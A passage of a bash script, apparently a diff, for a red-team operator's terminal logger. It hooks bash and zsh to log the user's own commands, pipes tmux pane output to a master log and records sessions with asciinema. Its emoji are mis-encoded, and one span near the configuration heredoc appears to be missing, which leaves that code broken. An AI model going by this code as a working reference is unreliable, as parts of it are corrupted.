[[ "$current_cmd" != "$RTL_LAST_COMMAND" && "$current_histnum" != "$RTL_LAST_HISTNUM" ]]; then + if should_log_command "$current_cmd" 2>/dev/null; then + local end_time="$(date '+%Y-%m-%d %H:%M:%S')" + local start_time="${RTL_CMD_START_TIME:-$end_time}" + + RTL_log_command "$current_cmd" "$start_time" "$end_time" + + RTL_LAST_COMMAND="$current_cmd" + RTL_LAST_HISTNUM="$current_histnum" + fi + fi + + RTL_CMD_START_TIME="" + } + + # NOW set the trap (function is already defined) + trap 'RTL_preexec 2>/dev/null || true' DEBUG 2>/dev/null + + # Set PROMPT_COMMAND (function is already defined) + if [[ -n "$RTL_ORIG_PROMPT_COMMAND" ]]; then + PROMPT_COMMAND="RTL_PROMPT_COMMAND; $RTL_ORIG_PROMPT_COMMAND" + else + PROMPT_COMMAND="RTL_PROMPT_COMMAND" + fi + +# ZSH-specific setup +elif [[ -n "$ZSH_VERSION" ]]; then + # Define functions first + RTL_zsh_preexec() { + local cmd="$1" + if should_log_command "$cmd" 2>/dev/null; then + RTL_CMD_START_TIME="$(date '+%Y-%m-%d %H:%M:%S')" + write_verbose_header "$cmd" "$RTL_CMD_START_TIME" + fi + } + + RTL_zsh_precmd() { + if [[ "$RTL_INTERNAL_LOGGING" == "false" ]]; then + return 0 + fi + + local cmd=$(fc -ln -1 2>/dev/null) + + if should_log_command "$cmd" 2>/dev/null; then + local end_time="$(date '+%Y-%m-%d %H:%M:%S')" + local start_time="${RTL_CMD_START_TIME:-$end_time}" + + RTL_log_command "$cmd" "$start_time" "$end_time" + fi + + RTL_CMD_START_TIME="" + } + + # NOW set the hooks (functions are already defined) + if autoload -Uz add-zsh-hook 2>/dev/null; then + add-zsh-hook preexec RTL_zsh_preexec 2>/dev/null || true + add-zsh-hook precmd RTL_zsh_precmd 2>/dev/null || true + fi +fi + +# Mark as active +echo "$$" > "__LOG_MARKER__-${PANE_ID}" +echo "Ops Logger command hook installed for pane $PANE_ID" >&2 +EOF + + # Replace placeholders with actual values + sed -i "s|__CSV_LOG__|$csv_log|g" "$hook_script" + sed -i "s|__VERBOSE_LOG__|$verbose_log|g" "$hook_script" + sed -i "s|__PANE_ID__|$pane_id|g" "$hook_script" + sed -i "s|__LOG_MARKER__|$LOG_MARKER|g" "$hook_script" + sed -i "s|__VERBOSE_CMD_MARKER__|$VERBOSE_CMD_MARKER|g" "$hook_script" + + chmod +x "$hook_script" +} + +# ================================================================ +# UNIFIED VERBOSE LOGGING WITH COMMAND HEADERS +# ================================================================ + +# Create single master verbose log file for all panes +create_master_verbose_log() { + local target="$1" + local log_dir="$2" + # Remove date from filename for continuous logging + local verbose_dir="${log_dir}/verbose" + ensure_dir "$verbose_dir" + # Single log file for entire target + local log_file="${verbose_dir}/${target}_master.log" + # Create the file with header if it doesn't exist + if [[ ! -f "$log_file" ]]; then + cat > "$log_file" << EOF +================================================================================ + RED TEAM TERMINAL LOGGER + Master Verbose Log +================================================================================ +Target: $target +Date: $(date +%Y-%m-%d) +Host: $(hostname) +Public IP: $(get_public_ip) +Started: $(date '+%Y-%m-%d %H:%M:%S') +================================================================================ + +EOF + fi + + echo "$log_file" +} + +# Create debug filter that captures EVERYTHING (no filtering) +create_debug_filter_script() { + local filter_script="/tmp/ops-debug-filter-$$.sh" + + cat > "$filter_script" << 'EODEBUG' +#!/usr/bin/env bash +# DEBUG: Raw pipe-pane output capture + +LOGFILE="$1" +PANE_ID="$2" +DEBUG_RAW_FILE="${LOGFILE}.debug-raw" + +mkdir -p "$(dirname "$LOGFILE")" 2>/dev/null + +echo "[$(date)] DEBUG FILTER STARTED for pane $PANE_ID" >> "$DEBUG_RAW_FILE" +echo "=================================================" >> "$DEBUG_RAW_FILE" + +line_count=0 +while IFS= read -r line; do + line_count=$((line_count + 1)) + + # Write EVERYTHING to debug file with line numbers + printf "[%04d][$(date +%H:%M:%S)] RAW: %s\n" "$line_count" "$line" >> "$DEBUG_RAW_FILE" + + # Also write to main log (no filtering at all) + echo "$line" >> "$LOGFILE" +done + +echo "[$(date)] DEBUG FILTER ENDED - Total lines: $line_count" >> "$DEBUG_RAW_FILE" +EODEBUG + + chmod +x "$filter_script" + echo "$filter_script" +} + +# Add debug start function +start_debug_verbose_logging() { + local id="$1" + local tmux_pane_ref="$2" + local target="$3" + local log_dir="$4" + + local debug_log="${log_dir}/debug-${target}-${id}-$(date +%H%M%S).log" + local filter_script=$(create_debug_filter_script) + + echo "Starting DEBUG verbose logging to: $debug_log" + + # Use simple pipe-pane with debug filter + tmux pipe-pane -t "$tmux_pane_ref" "bash '$filter_script' '$debug_log' '$id'" + + sleep 1 + + # Check if logging started + if tmux list-panes -F "#{pane_id} #{pane_pipe}" | grep -q "$tmux_pane_ref.*1"; then + echo "DEBUG logging started successfully" + echo "Raw output file: ${debug_log}.debug-raw" + echo "Filtered output file: $debug_log" + + echo "$filter_script" > "/tmp/ops-debug-filter-script-${id}" + return 0 + else + echo "ERROR: DEBUG logging failed to start" + rm -f "$filter_script" + return 1 + fi +} + +# Create the MINIMAL FIX verbose filter script +# Create the FIXED verbose filter script +create_verbose_filter_script() { + local filter_script="/tmp/ops-verbose-filter-$$.sh" + + cat > "$filter_script" << 'EOFILTER' +#!/usr/bin/env bash +# FIXED: Proper command boundary detection + +LOGFILE="$1" +PANE_ID="$2" +TARGET="$3" +VERBOSE_CMD_MARKER="$4" + +mkdir -p "$(dirname "$LOGFILE")" 2>/dev/null + +# Command tracking +CURRENT_COMMAND="" +IN_COMMAND=false +OUTPUT_LINE_COUNT=0 +MAX_LINES_PER_COMMAND=22 +LAST_MARKER_CHECK="" + +# Function to properly close a command +close_current_command() { + if [[ "$IN_COMMAND" == "true" ]]; then + echo "==============================================================================" >> "$LOGFILE" + echo "" >> "$LOGFILE" + IN_COMMAND=false + OUTPUT_LINE_COUNT=0 + CURRENT_COMMAND="" + fi +} + +# Function to check for new command markers +check_command_marker() { + local marker_file="${VERBOSE_CMD_MARKER}-${PANE_ID}" + if [[ -f "$marker_file" ]]; then + # Read the marker content + local marker_content=$(cat "$marker_file" 2>/dev/null) + + # Only process if this is a new marker (different from last check) + if [[ "$marker_content" != "$LAST_MARKER_CHECK" ]]; then + LAST_MARKER_CHECK="$marker_content" + + # FIXED: Always close previous command first + close_current_command + + # Read command info + IFS='|' read -r cmd start_time user path public_ip pane_marker <<< "$marker_content" + + # Start new command if it's for this pane + if [[ "$pane_marker" == "$PANE_ID" && -n "$cmd" ]]; then + CURRENT_COMMAND="$cmd" + IN_COMMAND=true + OUTPUT_LINE_COUNT=0 + + # Write command header + cat >> "$LOGFILE" << EOCMD +============================================================================== +COMMAND EXECUTION - $start_time +============================================================================== +Command: $cmd +User: $user +Path: $path +Start: $start_time +Pane: $PANE_ID +Public IP: $public_ip +------------------------------------------------------------------------------ +OUTPUT: +EOCMD + + # Remove the marker file after processing + rm -f "$marker_file" 2>/dev/null + fi + fi + fi +} + +# Simple ANSI stripping +strip_ansi() { + local line="$1" + # Remove bracketed paste mode + line="${line//[?2004h/}" + line="${line//[?2004l/}" + # Remove ANSI escape sequences + line=$(echo "$line" | sed -E 's/\x1b\[[0-9;]*[mGKHF]//g; s/\x1b\[[?]?[0-9]*[hlc]//g') + echo "$line" +} + +# Check if line looks like a shell prompt +is_prompt_line() { + local line="$1" + # More specific prompt detection patterns + if [[ "$line" =~ .*@.*:.*[\$#][[:space:]]*$ ]] || \ + [[ "$line" =~ ^[[:space:]]*[\$#][[:space:]]*$ ]] || \ + [[ "$line" =~ .*[\$#][[:space:]]+[a-zA-Z] ]]; then + return 0 + fi + return 1 +} + +# Main processing loop +while IFS= read -r line; do + # ALWAYS check for new commands first, before any processing + check_command_marker + + # Clean the line + clean_line=$(strip_ansi "$line") + + # Skip completely empty lines + [[ -z "$clean_line" ]] && continue + + # If we're in a command, log the output + if [[ "$IN_COMMAND" == "true" ]]; then + OUTPUT_LINE_COUNT=$((OUTPUT_LINE_COUNT + 1)) + + # Check if this looks like a prompt (indicating command end) + if is_prompt_line "$clean_line" && [[ $OUTPUT_LINE_COUNT -gt 1 ]]; then + # Don't log the prompt line, just close the command + close_current_command + continue + fi + + # Log the output line with timestamp + if [[ $OUTPUT_LINE_COUNT -le $MAX_LINES_PER_COMMAND ]]; then + echo "$(date '+%H:%M:%S') $clean_line" >> "$LOGFILE" + elif [[ $OUTPUT_LINE_COUNT -eq $(($MAX_LINES_PER_COMMAND + 1)) ]]; then + echo "... [OUTPUT TRUNCATED - showing first $MAX_LINES_PER_COMMAND lines only] ..." >> "$LOGFILE" + fi + fi +done + +# End any active command on exit +close_current_command + +EOFILTER + + chmod +x "$filter_script" + echo "$filter_script" +} + +# Enhanced command hook that integrates with verbose logging +create_enhanced_command_hook() { + local hook_script="$1" + local csv_log="$2" + local pane_id="$3" + local verbose_log="$4" + + cat > "$hook_script" << 'EOF' +#!/usr/bin/env bash +# Enhanced command hook with verbose integration + +set +e + +# Configuration +CSV_LOG="__CSV_LOG__" +VERBOSE_LOG="__VERBOSE_LOG__" +PANE_ID="__PANE_ID__" +PUBLIC_IP=$(timeout 5 curl -s ifconfig.me 2>/dev/null || echo "unknown") +RTL_INTERNAL_LOGGING=true +RTL_CMD_START_TIME="" +VERBOSE_CMD_MARKER="__VERBOSE_CMD_MARKER__" + +# Function to check if command should be logged +should_log_command() { + local cmd="$1" + case "$cmd" in + *"RTL_"*|*"log_command"*|*"CSV_LOG"*|*"should_log_command"*) return 1 ;; + "history "*|*"PROMPT_COMMAND"*|*"source /tmp/ops"*) return 1 ;; + "") return 1 ;; + *) return 0 ;; + esac +} + +# Enhanced function to write verbose command header +write_verbose_header() { + local cmd="$1" + local start_time="$2" + local user=$(whoami) + local path=$(pwd) + + # Create marker for verbose filter + echo "$cmd|$start_time|$user|$path|$PUBLIC_IP|$PANE_ID" > "${VERBOSE_CMD_MARKER}-${PANE_ID}" +} + +# Function to log command to CSV (unchanged) +RTL_log_command() { + local cmd="$1" + local start_time="$2" + local end_time="$3" + local user=$(whoami) + local path=$(pwd) + + should_log_command "$cmd" || return 0 + + local old_flag="$RTL_INTERNAL_LOGGING" + RTL_INTERNAL_LOGGING=false + + local escaped_cmd=${cmd//\"/\"\"} + + printf '"%s","%s","%s","%s","%s","%s"\n' \ + "$start_time" "$end_time" "$PUBLIC_IP" "$user" "$path" "$escaped_cmd" >> "$CSV_LOG" 2>/dev/null + + RTL_INTERNAL_LOGGING="$old_flag" +} + +# BASH-specific setup +if [[ -n "$BASH_VERSION" ]]; then + [[ -z "$RTL_ORIG_PROMPT_COMMAND" ]] && RTL_ORIG_PROMPT_COMMAND="$PROMPT_COMMAND" + + RTL_LAST_COMMAND="" + RTL_LAST_HISTNUM="" + + RTL_preexec() { + local cmd="$BASH_COMMAND" + if should_log_command "$cmd" 2>/dev/null; then + RTL_CMD_START_TIME="$(date '+%Y-%m-%d %H:%M:%S')" + write_verbose_header "$cmd" "$RTL_CMD_START_TIME" + fi + } + + RTL_PROMPT_COMMAND() { + if [[ "$RTL_INTERNAL_LOGGING" == "false" ]]; then + return 0 + fi + + local current_histnum=$(history 1 2>/dev/null | awk '{print $1}') + local current_cmd=$(history 1 2>/dev/null | sed 's/^[ ]*[0-9]*[ ]*//') + + if [[ "$current_cmd" != "$RTL_LAST_COMMAND" && "$current_histnum" != "$RTL_LAST_HISTNUM" ]]; then + if should_log_command "$current_cmd" 2>/dev/null; then + local end_time="$(date '+%Y-%m-%d %H:%M:%S')" + local start_time="${RTL_CMD_START_TIME:-$end_time}" + + RTL_log_command "$current_cmd" "$start_time" "$end_time" + + RTL_LAST_COMMAND="$current_cmd" + RTL_LAST_HISTNUM="$current_histnum" + fi + fi + + RTL_CMD_START_TIME="" + } + + trap 'RTL_preexec 2>/dev/null || true' DEBUG 2>/dev/null + + if [[ -n "$RTL_ORIG_PROMPT_COMMAND" ]]; then + PROMPT_COMMAND="RTL_PROMPT_COMMAND; $RTL_ORIG_PROMPT_COMMAND" + else + PROMPT_COMMAND="RTL_PROMPT_COMMAND" + fi + +# ZSH-specific setup +elif [[ -n "$ZSH_VERSION" ]]; then + RTL_zsh_preexec() { + local cmd="$1" + if should_log_command "$cmd" 2>/dev/null; then + RTL_CMD_START_TIME="$(date '+%Y-%m-%d %H:%M:%S')" + write_verbose_header "$cmd" "$RTL_CMD_START_TIME" + fi + } + + RTL_zsh_precmd() { + if [[ "$RTL_INTERNAL_LOGGING" == "false" ]]; then + return 0 + fi + + local cmd=$(fc -ln -1 2>/dev/null) + + if should_log_command "$cmd" 2>/dev/null; then + local end_time="$(date '+%Y-%m-%d %H:%M:%S')" + local start_time="${RTL_CMD_START_TIME:-$end_time}" + + RTL_log_command "$cmd" "$start_time" "$end_time" + fi + + RTL_CMD_START_TIME="" + } + + if autoload -Uz add-zsh-hook 2>/dev/null; then + add-zsh-hook preexec RTL_zsh_preexec 2>/dev/null || true + add-zsh-hook precmd RTL_zsh_precmd 2>/dev/null || true + fi +fi + +# Mark as active +echo "$$" > "__LOG_MARKER__-${PANE_ID}" +echo "Enhanced Ops Logger with verbose integration installed for pane $PANE_ID" >&2 +EOF + + # Replace placeholders + sed -i "s|__CSV_LOG__|$csv_log|g" "$hook_script" + sed -i "s|__VERBOSE_LOG__|$verbose_log|g" "$hook_script" + sed -i "s|__PANE_ID__|$pane_id|g" "$hook_script" + sed -i "s|__LOG_MARKER__|$LOG_MARKER|g" "$hook_script" + sed -i "s|__VERBOSE_CMD_MARKER__|$VERBOSE_CMD_MARKER|g" "$hook_script" + + chmod +x "$hook_script" +} + +# Start unified verbose logging +# Start unified verbose logging (add delay for stability) +start_unified_verbose_logging() { + local id="$1" + local tmux_pane_ref="$2" + local target="$3" + local log_dir="$4" + + # Create master log file + local master_log=$(create_master_verbose_log "$target" "$log_dir") + + # Create filter script + local filter_script=$(create_verbose_filter_script) + + log_debug "Starting unified verbose logging to: $master_log" + + # Use pipe-pane with our filter script + tmux pipe-pane -t "$tmux_pane_ref" "bash '$filter_script' '$master_log' '$id' '$target' '$VERBOSE_CMD_MARKER'" + + # Give pipe-pane time to establish + sleep 0.5 + + # Check if logging started successfully + if tmux list-panes -F "#{pane_id} #{pane_pipe}" | grep -q "$tmux_pane_ref.*1"; then + log_debug "Unified verbose logging started successfully" + + # Store filter script path for cleanup + echo "$filter_script" > "/tmp/ops-filter-script-${id}" + + return 0 + else + log_debug "ERROR: Unified verbose logging failed to start" + rm -f "$filter_script" + return 1 + fi +} + +# Stop unified verbose logging +stop_unified_verbose_logging() { + local tmux_pane_ref="$1" + local id="$2" + + # Stop pipe-pane + tmux pipe-pane -t "$tmux_pane_ref" 2>/dev/null || true + + # Clean up filter script + if [[ -f "/tmp/ops-filter-script-${id}" ]]; then + local filter_script=$(cat "/tmp/ops-filter-script-${id}") + rm -f "$filter_script" 2>/dev/null + rm -f "/tmp/ops-filter-script-${id}" + fi + + # Clean up markers + rm -f "${VERBOSE_CMD_MARKER}-${id}" 2>/dev/null + rm -f "/tmp/ops-cmd-active-${id}" 2>/dev/null + + log_debug "Stopped unified verbose logging for pane: $tmux_pane_ref" +} + +# ================================================================ +# OHMYTMUX-COMPATIBLE WINDOW NAME MANAGEMENT +# ================================================================ + +# Improved window name handling that works with ohmytmux +get_current_window_name() { + local tmux_pane_ref="$1" + local name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}') + + # Remove our indicators as well as any ohmytmux status indicators + name="${name#๐Ÿ”ด }" + name="${name#๐ŸŽฅ }" + name="${name#โ— }" + name="${name#โš  }" + name="${name#โ–ถ }" + + echo "$name" +} + +set_window_logging_indicator() { + local tmux_pane_ref="$1" + local current_name=$(get_current_window_name "$tmux_pane_ref") + + # Preserve ohmytmux automatic formats but add our indicator + if [[ "$current_name" == *Z ]]; then + # Zoomed window format in ohmytmux + tmux rename-window -t "$tmux_pane_ref" "๐Ÿ”ด ${current_name%Z}Z" + else + tmux rename-window -t "$tmux_pane_ref" "๐Ÿ”ด $current_name" + fi +} + +set_window_recording_indicator() { + local tmux_pane_ref="$1" + local current_name=$(get_current_window_name "$tmux_pane_ref") + + # Remove logging indicator if present and add recording + current_name="${current_name#๐Ÿ”ด }" + + # Preserve ohmytmux automatic formats + if [[ "$current_name" == *Z ]]; then + # Zoomed window format in ohmytmux + tmux rename-window -t "$tmux_pane_ref" "๐ŸŽฅ ${current_name%Z}Z" + else + tmux rename-window -t "$tmux_pane_ref" "๐ŸŽฅ $current_name" + fi +} + +clear_window_indicators() { + local tmux_pane_ref="$1" + local current_name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}') + local clean_name=$(get_current_window_name "$tmux_pane_ref") + + # Preserve any ohmytmux indicators that might be present + if [[ "$current_name" == *Z ]]; then + # Zoomed window format in ohmytmux + tmux rename-window -t "$tmux_pane_ref" "${clean_name}Z" + else + tmux rename-window -t "$tmux_pane_ref" "$clean_name" + fi +} + +# MAIN LOGGING FUNCTIONS +# ================================================================ + +# Enhanced logging installation with unified verbose logging +install_logging() { + local id="$1" + local csv_log="$2" + local target="$3" + local log_dir="$4" + + log_debug "Installing enhanced logging for pane $id" + + if is_tmux; then + local tmux_pane_ref=$(get_tmux_pane_ref) + + # Get master verbose log path + local master_log=$(create_master_verbose_log "$target" "$log_dir") + + # Start unified verbose logging + if start_unified_verbose_logging "$id" "$tmux_pane_ref" "$target" "$log_dir"; then + log_debug "Unified verbose logging started successfully" + else + log_debug "Verbose logging failed, continuing with CSV only" + fi + + # Create enhanced command hook + local hook_script="/tmp/ops-hook-${id}.sh" + create_enhanced_command_hook "$hook_script" "$csv_log" "$id" "$master_log" + + # Install the hook + tmux send-keys -t "$tmux_pane_ref" "source '$hook_script' 2>/dev/null && echo 'Enhanced logging hooks installed successfully' || echo 'Logging may have warnings but is active'" ENTER + + sleep 2 + + # Set window indicator + set_window_logging_indicator "$tmux_pane_ref" + + # Mark as active + touch "${LOG_MARKER}-${id}" + touch "${LOG_MARKER}-${id}.success" + + else + # Direct shell logging (CSV only) + local hook_script="/tmp/ops-hook-${id}.sh" + create_enhanced_command_hook "$hook_script" "$csv_log" "$id" "" + source "$hook_script" + echo "Direct shell logging started (CSV only)" + + touch "${LOG_MARKER}-${id}" + touch "${LOG_MARKER}-${id}.success" + fi + + log_debug "Enhanced logging installation completed" +} + +# Enhanced removal function +remove_logging() { + local id="$1" + + log_debug "Removing enhanced logging for pane $id" + + if is_tmux; then + local tmux_pane_ref=$(get_tmux_pane_ref) + + # Stop unified verbose logging + stop_unified_verbose_logging "$tmux_pane_ref" "$id" + + # Clean up command hooks (same as before) + local cleanup_script="/tmp/ops-cleanup-${id}.sh" + cat > "$cleanup_script" << 'EOF' +#!/usr/bin/env bash +set +e + +if [[ -n "$BASH_VERSION" ]]; then + trap - DEBUG 2>/dev/null + if [[ -n "$RTL_ORIG_PROMPT_COMMAND" ]]; then + PROMPT_COMMAND="$RTL_ORIG_PROMPT_COMMAND" + unset RTL_ORIG_PROMPT_COMMAND + else + unset PROMPT_COMMAND + fi + unset -f RTL_PROMPT_COMMAND RTL_log_command should_log_command RTL_preexec write_verbose_header 2>/dev/null +elif [[ -n "$ZSH_VERSION" ]]; then + add-zsh-hook -d preexec RTL_zsh_preexec 2>/dev/null + add-zsh-hook -d precmd RTL_zsh_precmd 2>/dev/null + unset -f RTL_zsh_preexec RTL_zsh_precmd RTL_log_command should_log_command write_verbose_header 2>/dev/null +fi + +unset RTL_CMD_START_TIME RTL_LAST_COMMAND RTL_LAST_HISTNUM RTL_INTERNAL_LOGGING 2>/dev/null +unset CSV_LOG VERBOSE_LOG PANE_ID PUBLIC_IP VERBOSE_CMD_MARKER 2>/dev/null + +echo "Enhanced Ops Logger hooks removed" +EOF + chmod +x "$cleanup_script" + + tmux send-keys -t "$tmux_pane_ref" "source '$cleanup_script' 2>/dev/null; rm -f '$cleanup_script'" ENTER + + # Clear window indicators + clear_window_indicators "$tmux_pane_ref" + + # Clean up temp files + rm -f "/tmp/ops-hook-${id}.sh" + + else + # Direct shell cleanup (same as before) + if [[ -n "$BASH_VERSION" ]]; then + trap - DEBUG 2>/dev/null + if [[ -n "$RTL_ORIG_PROMPT_COMMAND" ]]; then + PROMPT_COMMAND="$RTL_ORIG_PROMPT_COMMAND" + unset RTL_ORIG_PROMPT_COMMAND + else + unset PROMPT_COMMAND + fi + unset -f RTL_PROMPT_COMMAND RTL_log_command should_log_command RTL_preexec write_verbose_header 2>/dev/null + elif [[ -n "$ZSH_VERSION" ]]; then + add-zsh-hook -d preexec RTL_zsh_preexec 2>/dev/null + add-zsh-hook -d precmd RTL_zsh_precmd 2>/dev/null + unset -f RTL_zsh_preexec RTL_zsh_precmd RTL_log_command should_log_command write_verbose_header 2>/dev/null + fi + + echo "Direct shell logging stopped" + fi + + # Remove markers + rm -f "${LOG_MARKER}-${id}" "${LOG_MARKER}-${id}.success" + rm -f "/tmp/ops-hook-${id}.sh" + + log_debug "Enhanced logging removal completed" +} + +# ================================================================ +# RECORDING FUNCTIONS +# ================================================================ + +start_recording() { + local id="$1" + local target="$2" + local log_dir="$3" + local recordings_dir="${log_dir}/recordings" + local timestamp=$(date +%Y%m%d_%H%M%S) + + ensure_dir "$recordings_dir" + + # Check for asciinema + if ! command -v asciinema >/dev/null 2>&1; then + local error_msg="ERROR: asciinema not installed" + echo "$error_msg" >&2 + echo "To install asciinema:" + echo " Ubuntu/Debian: sudo apt install asciinema" + echo " Fedora/RHEL: sudo dnf install asciinema" + echo " macOS: brew install asciinema" + echo " Pip: pip3 install asciinema" + return 1 + fi + + local cast_file="${recordings_dir}/${target}_${id}_${timestamp}.cast" + echo "asciinema:$cast_file" > "${RECORDING_MARKER}-${id}" + + if is_tmux; then + local tmux_pane_ref=$(get_tmux_pane_ref) + + # Set recording indicator (ohmytmux compatible) + set_window_recording_indicator "$tmux_pane_ref" + + # Start recording cleanly + tmux send-keys -t "$tmux_pane_ref" "asciinema rec '$cast_file'" ENTER + + else + echo "Starting asciinema recording. Use 'exit' or Ctrl+D to stop." + asciinema rec "$cast_file" + fi +} + +stop_recording() { + local id="$1" + + [[ ! -f "${RECORDING_MARKER}-${id}" ]] && { + echo "No active recording" + return 1 + } + + read -r rec_type rec_path < <(cat "${RECORDING_MARKER}-${id}" | tr ':' ' ') + + if [[ "$rec_type" == "asciinema" ]]; then + if is_tmux; then + local tmux_pane_ref=$(get_tmux_pane_ref) + + # Try sending Ctrl+D + tmux send-keys -t "$tmux_pane_ref" C-d + + sleep 1 + + # If that didn't work, try killing the asciinema process + if ps aux | grep -v grep | grep -q "asciinema rec"; then + log_debug "Ctrl+D didn't stop recording, trying to kill asciinema process" + tmux send-keys -t "$tmux_pane_ref" "pkill -f 'asciinema rec'" ENTER + + sleep 1 + + if ps aux | grep -v grep | grep -q "asciinema rec"; then + pkill -f "asciinema rec" || true + fi + fi + + # Clear recording indicator but preserve logging indicator + local current_name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}') + if [[ "$current_name" == "๐ŸŽฅ"* ]]; then + if is_logging_active "$id"; then + local clean_name="${current_name#๐ŸŽฅ }" + tmux rename-window -t "$tmux_pane_ref" "๐Ÿ”ด $clean_name" + else + clear_window_indicators "$tmux_pane_ref" + fi + fi + + else + echo "Recording stopped: $rec_path" + fi + fi + + rm -f "${RECORDING_MARKER}-${id}" +} + +# ================================================================ +# CONFIGURATION FUNCTIONS +# ================================================================ + +create_config() { + local is_first_run="${1:-false}" + + # If this is a first run from ensure_config in tmux, use the local version's approach + if [[ "$is_first_run" == "true" ]] && is_tmux; then + # Mark configuration as in progress + touch "$CONFIG_IN_PROGRESS" + + # Create a temporary script that will handle the config creation + local config_script="/tmp/ops-config-$$.sh" + cat > "$config_script" << 'EOSCRIPT' +#!/usr/bin/env bash +CONFIG_FILE="${HOME}/.ops-logger.conf" +DEFAULT_TARGET="target-$(hostname | tr '.' '-')" +DEFAULT_LOG_DIR="${HOME}/OperationLogs" + +echo "Red Team Terminal Logger - First Time Setup" +echo "===========================================" +echo "" + +read -p "Enter target name [$DEFAULT_TARGET]: " TARGET_NAME +TARGET_NAME="${TARGET_NAME:-$DEFAULT_TARGET}" + +read -p "Enter log directory [$DEFAULT_LOG_DIR]: " LOG_DIR +LOG_DIR="${LOG_DIR:-$DEFAULT_LOG_DIR}" + +read -p "Prompt for logging in new shells? [Y/n]: " PROMPT_NEW_SHELLS +[[ "${PROMPT_NEW_SHELLS,,}" == "n" ]] && PROMPT_NEW_SHELLS=false || PROMPT_NEW_SHELLS=true + +read -p "Enable debug logging? [y/N]: " DEBUG +[[ "${DEBUG,,}" == "y" ]] && DEBUG=true || DEBUG=false + +# Save config +mkdir -p "$(dirname "$CONFIG_FILE")" +cat > "$CONFIG_FILE" << EOF +# Ops Logger Configuration +TARGET_NAME="$TARGET_NAME" +LOG_DIR="$LOG_DIR" +PROMPT_NEW_SHELLS=$PROMPT_NEW_SHELLS +RECORD_INTERVAL=0.5 +DEBUG=$DEBUG +EOF + +# Create directories +mkdir -p "$LOG_DIR" "$LOG_DIR/verbose" "$LOG_DIR/recordings" + +# Remove the in-progress marker +rm -f "/tmp/ops-logger-configuring" + +echo "" +echo "Configuration saved!" +echo " Target name: $TARGET_NAME" +echo " Log directory: $LOG_DIR" +echo " Prompt new shells: $PROMPT_NEW_SHELLS" +echo " Debug mode: $DEBUG" +echo "" +echo "Now run: prefix+L to start logging (or ops-logger --start)" +echo "Press ENTER to close this window..." +read +EOSCRIPT + chmod +x "$config_script" + + # Open new window for config + bash "$config_script"; rm -f "$config_script" + return 0 + fi + + # For manual --config or non-tmux environments (GitHub version approach) + echo "Red Team Terminal Logger - First Time Setup" + echo "===========================================" + echo "" + + CONFIG_FILE="${HOME}/.ops-logger.conf" + DEFAULT_TARGET="target-$(hostname | tr '.' '-')" + DEFAULT_LOG_DIR="${HOME}/OperationLogs" + + # Detect whether we're in a tty + if [[ ! -t 0 ]]; then + echo "Error: Cannot prompt user in non-interactive shell." + return 1 + fi + + read -p "Enter target name [$DEFAULT_TARGET]: " TARGET_NAME + TARGET_NAME="${TARGET_NAME:-$DEFAULT_TARGET}" + + read -p "Enter log directory [$DEFAULT_LOG_DIR]: " LOG_DIR + LOG_DIR="${LOG_DIR:-$DEFAULT_LOG_DIR}" + + read -p "Prompt for logging in new shells? [Y/n]: " PROMPT_NEW_SHELLS + [[ "${PROMPT_NEW_SHELLS,,}" == "n" ]] && PROMPT_NEW_SHELLS=false || PROMPT_NEW_SHELLS=true + + read -p "Enable debug logging? [y/N]: " DEBUG + [[ "${DEBUG,,}" == "y" ]] && DEBUG=true || DEBUG=false + + # Save config + mkdir -p "$(dirname "$CONFIG_FILE")" + cat > "$CONFIG_FILE" </dev/null || echo "/dev/tty") + exec 1>$tty 2>$tty + fi + + # Auto-setup config with prompts on first logging start + ensure_config || return 1 + load_config + + local id=$(get_pane_id) + is_logging_active "$id" && { + echo "Already logging" + return 0 + } + + local csv_log=$(setup_csv_log "$TARGET_NAME" "$LOG_DIR") + + install_logging "$id" "$csv_log" "$TARGET_NAME" "$LOG_DIR" +} + +stop_logging() { + # Ensure we output to terminal if run from tmux keybinding + if is_tmux && [[ -t 1 ]]; then + local tty=$(tty 2>/dev/null || echo "/dev/tty") + exec 1>$tty 2>$tty + fi + + local id=$(get_pane_id) + is_logging_active "$id" || { + echo "Not logging" + return 0 + } + + remove_logging "$id" +} + +toggle_logging() { + # Ensure we output to terminal if run from tmux keybinding + if is_tmux && [[ -t 1 ]]; then + local tty=$(tty 2>/dev/null || echo "/dev/tty") + exec 1>$tty 2>$tty + fi + + local id=$(get_pane_id) + is_logging_active "$id" && stop_logging || start_logging +} + +toggle_recording() { + # Ensure we output to terminal if run from tmux keybinding + if is_tmux && [[ -t 1 ]]; then + local tty=$(tty 2>/dev/null || echo "/dev/tty") + exec 1>$tty 2>$tty + fi + + local id=$(get_pane_id) + # Load existing config or use defaults + [[ -f "$CONFIG_FILE" ]] && load_config || { TARGET_NAME="$DEFAULT_TARGET"; LOG_DIR="$DEFAULT_LOG_DIR"; } + + is_recording_active "$id" && stop_recording "$id" || start_recording "$id" "$TARGET_NAME" "$LOG_DIR" +} + +prompt_for_logging() { + local id + id=$(get_pane_id) + + # โœ… Debug logging to see what's happening + echo "[$(date)] prompt_for_logging called for pane: $id" >> /tmp/ops-logger-prompt-debug.log + echo "[$(date)] TMUX_PANE: ${TMUX_PANE:-'not set'}" >> /tmp/ops-logger-prompt-debug.log + + # โœ… Avoid recursion with a pane-specific lock - BUT with timeout + local lock_file="/tmp/ops-logger-prompted-${id}" + if [[ -f "$lock_file" ]]; then + # Check if lock file is stale (older than 30 seconds) + if [[ $(find "$lock_file" -mmin +0.5 2>/dev/null) ]]; then + echo "[$(date)] Removing stale lock file" >> /tmp/ops-logger-prompt-debug.log + rm -f "$lock_file" + else + echo "[$(date)] Recent lock file exists, returning" >> /tmp/ops-logger-prompt-debug.log + return 0 + fi + fi + touch "$lock_file" + + # โœ… Cleanup function to ensure lock file is always removed + cleanup_lock() { + rm -f "$lock_file" + echo "[$(date)] Lock file cleaned up" >> /tmp/ops-logger-prompt-debug.log + } + trap cleanup_lock EXIT + + is_logging_active "$id" && { + echo "[$(date)] Already logging, returning" >> /tmp/ops-logger-prompt-debug.log + cleanup_lock + return 0 + } + + load_config + echo "[$(date)] Config loaded - PROMPT_NEW_SHELLS: $PROMPT_NEW_SHELLS" >> /tmp/ops-logger-prompt-debug.log + + [[ "$PROMPT_NEW_SHELLS" != "true" ]] && { + echo "[$(date)] Prompting disabled, returning" >> /tmp/ops-logger-prompt-debug.log + cleanup_lock + return 0 + } + + # โœ… FIXED: Use tmux display-popup for proper interaction in tmux + if is_tmux; then + echo "[$(date)] In tmux, creating popup" 